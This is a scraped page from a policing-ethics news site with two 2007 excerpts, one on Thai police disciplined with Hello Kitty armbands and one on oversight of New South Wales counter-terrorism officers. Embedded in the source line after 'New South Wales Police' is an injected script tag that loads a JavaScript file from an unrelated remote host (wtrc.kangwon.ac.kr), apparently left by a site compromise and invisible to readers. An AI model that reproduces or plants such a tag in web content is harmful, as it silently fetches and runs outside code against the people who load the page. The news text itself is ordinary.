Username:
 Password:
 

Are you not a member?
Register here
Forgot your password?
 
 
 
 
 
 



NEWS > 25 October 2007

Other related articles:

Thailand: Hello Kitty discipli
Errant Thai police had better beware. Offenders who refuse to heed superiors' warnings to mend their ways will find themselves shamed into doing so - forced to wear a hot pink armband adorned with the Japanese cartoon character Hello Kitty, beloved of little girls.
Frustrated senior officers searching for ways to force their underlings to toe the line believe the cutesy armband will be sufficiently humiliating to deter policemen from further misdemeanours.

It would prove a stark contrast to the figure-hugging grey uniforms, highly polished black knee boots, white helmets and mi... Read more

 Article sourced from

New South Wales Police<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
ABC Online - Australia
25 October 2007
This article appeared in the above title/site.
To view it in its entirity click this link.
New South Wales Police

Anti-terrorism squad told to r

Members of the New South Wales anti-terrorism group have been given some heavy reading to do to help ward off corruption risks.

Police officers in the group have been told they have to read the 1998 Wood Royal Commission's findings about the former unit, known as the Special Branch.

The Police Integrity Commission (PIC) says special oversight is needed for police units that provide intelligence about politically-motivated crime.

The Special Branch did the job for 50 years before being disbanded, after the Wood Royal Commission exposed abuses of power and files being kept on people who were not a threat.

Now, the PIC says police joining the Counter-Terrorism Security Group are told all about the misconduct risks exposed by the Special Branch scandal.

The PIC says there is not legislation for oversight of the current counter-terrorism group to manage the potential for inappropriate targeting of people.

A deputy commissioner will inspect files by the end of this year to ensure that what could be seen as 'dirt files' are disposed of.

 

EiP Comments:

 


* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.


 
 
[about EiP] [membership] [information room] [library] [online shopping]
[EiP services] [contact information]
 
 
Policing Research 2010 EthicsinPolicing Limited. All rights reserved International Policing
privacy policy

site designed, maintained & hosted by
The Consultancy
Ethics in Policing, based in the UK, provide information and advice about the following:
Policing Research | Police News articles | Police Corruption | International Policing | Police Web Sites | Police Forum | Policing Ethics | Police Journals | Police Publications